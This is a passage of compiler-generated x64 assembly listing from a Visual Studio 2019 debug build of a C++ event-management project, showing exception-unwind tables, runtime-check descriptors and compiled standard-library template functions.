; COMDAT xdata
xdata SEGMENT
$unwind$??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Get_first@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?release@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAPEAUEventManagement@Event@Domain@@XZ DD 025052a01H
DD 010e2313H
DD 070070021H
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?get_deleter@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAAAEAU?$default_delete@UEventManagement@Event@Domain@@@2@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ DD 025052a01H
DD 010e2313H
DD 07007001fH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??R?$default_delete@UEventManagement@Event@Domain@@@std@@QEBAXPEAUEventManagement@Event@Domain@@@Z DD 025052f01H
DD 01132318H
DD 0700c0023H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA DD 031001H
DD 0700c4210H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DB 06H
DB 00H
DB 00H
DB 0acH
DB 02H
DB 0a4H
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$stateUnwindMap$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DB 02H
DB 0eH
DD imagerel ?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DB 028H
DD imagerel $stateUnwindMap$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
DD imagerel $ip2state$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DD 025052f11H
DD 01132318H
DD 0700c002bH
DD 0500bH
DD imagerel __CxxFrameHandler4
DD imagerel $cppxdata$??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1EventHandler@Event@Domain@@UEAA@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA DD 031001H
DD 0700c4210H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DB 0aH
DB 00H
DB 00H
DB '9', 02H
DB 02H
DB 0a4H
DB 00H
DB '$'
DB 02H
DB ':'
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$stateUnwindMap$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DB 02H
DB 0eH
DD imagerel ?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DB 028H
DD imagerel $stateUnwindMap$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
DD imagerel $ip2state$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z DD 025054019H
DD 01132318H
DD 0700c003fH
DD 0500bH
DD imagerel __GSHandlerCheck_EH4
DD imagerel $cppxdata$?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
DD 01e2H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z$rtcName$0 DB 063H ; Domain::Event::EventHandler::UseEventManagement
DB 072H
DB 065H
DB 064H
DB 065H
DB 06eH
DB 074H
DB 069H
DB 061H
DB 06cH
DB 073H
DB 046H
DB 072H
DB 06fH
DB 06dH
DB 044H
DB 042H
DB 00H
ORG $+14
?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z$rtcVarDesc DD 050H ; Domain::Event::EventHandler::UseEventManagement
DD 080H
DQ FLAT:?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z$rtcName$0
ORG $+48
?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z$rtcFrameData DD 01H ; Domain::Event::EventHandler::UseEventManagement
DD 00H
DQ FLAT:?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ DB 02H
DB 00H
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ DB 060H
DD imagerel $ip2state$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ DD 025052a19H
DD 010e2313H
DD 07007002fH
DD 05006H
DD imagerel __CxxFrameHandler4
DD imagerel $cppxdata$?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z DD 025053401H
DD 0118231dH
DD 07011001dH
DD 05010H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ DD 025053b19H
DD 010e2313H
DD 070070029H
DD 05006H
DD imagerel __GSHandlerCheck
DD 0138H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ$rtcName$0 DB 024H ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
DB 053H
DB 036H
DB 00H
ORG $+12
??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ$rtcVarDesc DD 044H ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
DD 01H
DQ FLAT:??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ$rtcName$0
ORG $+48
??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ$rtcFrameData DD 01H ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
DD 00H
DQ FLAT:??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z DD 025053401H
DD 0118231dH
DD 07011001dH
DD 05010H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z DD 025052e01H
DD 01122317H
DD 0700b001dH
DD 0500aH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$ip2state$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ DB 02H
DB 00H
DB 00H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$cppxdata$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ DB 060H
DD imagerel $ip2state$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ DD 025052a19H
DD 010e2313H
DD 070070029H
DD 05006H
DD imagerel __CxxFrameHandler4
DD imagerel $cppxdata$?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ DD 025053b19H
DD 010e2313H
DD 070070029H
DD 05006H
DD imagerel __GSHandlerCheck
DD 0138H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ$rtcName$0 DB 024H ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
DB 053H
DB 031H
DB 034H
DB 00H
ORG $+11
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ$rtcVarDesc DD 044H ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
DD 01H
DQ FLAT:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ$rtcName$0
ORG $+48
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ$rtcFrameData DD 01H ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
DD 00H
DQ FLAT:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ DD 025052a01H
DD 010e2313H
DD 07007001fH
DD 05006H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z DD 025053401H
DD 0118231dH
DD 07011001dH
DD 05010H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Orphan_all@_Container_base12@std@@QEAAXXZ DD 025053b19H
DD 010e2313H
DD 070070025H
DD 05006H
DD imagerel __GSHandlerCheck
DD 0118H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
?_Orphan_all@_Container_base12@std@@QEAAXXZ$rtcName$0 DB 05fH ; std::_Container_base12::_Orphan_all
DB 04cH
DB 06fH
DB 063H
DB 06bH
DB 00H
ORG $+10
?_Orphan_all@_Container_base12@std@@QEAAXXZ$rtcVarDesc DD 024H ; std::_Container_base12::_Orphan_all
DD 04H
DQ FLAT:?_Orphan_all@_Container_base12@std@@QEAAXXZ$rtcName$0
ORG $+48
?_Orphan_all@_Container_base12@std@@QEAAXXZ$rtcFrameData DD 01H ; std::_Container_base12::_Orphan_all
DD 00H
DQ FLAT:?_Orphan_all@_Container_base12@std@@QEAAXXZ$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z DD 035052f01H
DD 01133318H
DD 0700c002fH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z DD 025053401H
DD 0118231dH
DD 07011001dH
DD 05010H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?__empty_global_delete@@YAXPEAX_K@Z DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$?__empty_global_delete@@YAXPEAX@Z DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\type_traits
; COMDAT ??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z
_TEXT SEGMENT
_Arg$ = 224
??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z PROC ; std::forward<Domain::Event::EventManagement * &>, COMDAT
; 1442 : remove_reference_t<_Ty>& _Arg) noexcept { // forward an lvalue as either an lvalue or an rvalue
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__2D26A21E_type_traits
call __CheckForDebuggerJustMyCode
; 1443 : return static_cast<_Ty&&>(_Arg);
mov rax, QWORD PTR _Arg$[rbp]
; 1444 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z ENDP ; std::forward<Domain::Event::EventManagement * &>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z
_TEXT SEGMENT
__formal$ = 224
_Ptr$ = 232
_Count$ = 240
?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z PROC ; std::_Default_allocator_traits<std::allocator<std::_Container_proxy> >::deallocate, COMDAT
; 694 : static void deallocate(_Alloc&, const pointer _Ptr, const size_type _Count) {
$LN3:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 695 : // no overflow check on the following multiply; we assume _Allocate did that check
; 696 : _Deallocate<_New_alignof<value_type>>(_Ptr, sizeof(value_type) * _Count);
imul rax, QWORD PTR _Count$[rbp], 16
mov rdx, rax
mov rcx, QWORD PTR _Ptr$[rbp]
call ??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z ; std::_Deallocate<16,0>
; 697 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z ENDP ; std::_Default_allocator_traits<std::allocator<std::_Container_proxy> >::deallocate
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\type_traits
; COMDAT ??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z
_TEXT SEGMENT
_Arg$ = 224
??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z PROC ; std::forward<Domain::Event::EventManagement *>, COMDAT
; 1442 : remove_reference_t<_Ty>& _Arg) noexcept { // forward an lvalue as either an lvalue or an rvalue
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__2D26A21E_type_traits
call __CheckForDebuggerJustMyCode
; 1443 : return static_cast<_Ty&&>(_Arg);
mov rax, QWORD PTR _Arg$[rbp]
; 1444 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z ENDP ; std::forward<Domain::Event::EventManagement *>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z
_TEXT SEGMENT
this$ = 224
__formal$ = 232
<_Val2_0>$ = 240
??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z PROC ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1><Domain::Event::EventManagement * &>, COMDAT
; 1339 : : _Ty1(), _Myval2(_STD forward<_Other2>(_Val2)...) {}
$LN3:
mov QWORD PTR [rsp+24], r8
mov BYTE PTR [rsp+16], dl
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
mov rcx, QWORD PTR <_Val2_0>$[rbp]
call ??$forward@AEAPEAUEventManagement@Event@Domain@@@std@@YAAEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z ; std::forward<Domain::Event::EventManagement * &>
mov rcx, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR [rcx], rax
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z ENDP ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1><Domain::Event::EventManagement * &>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
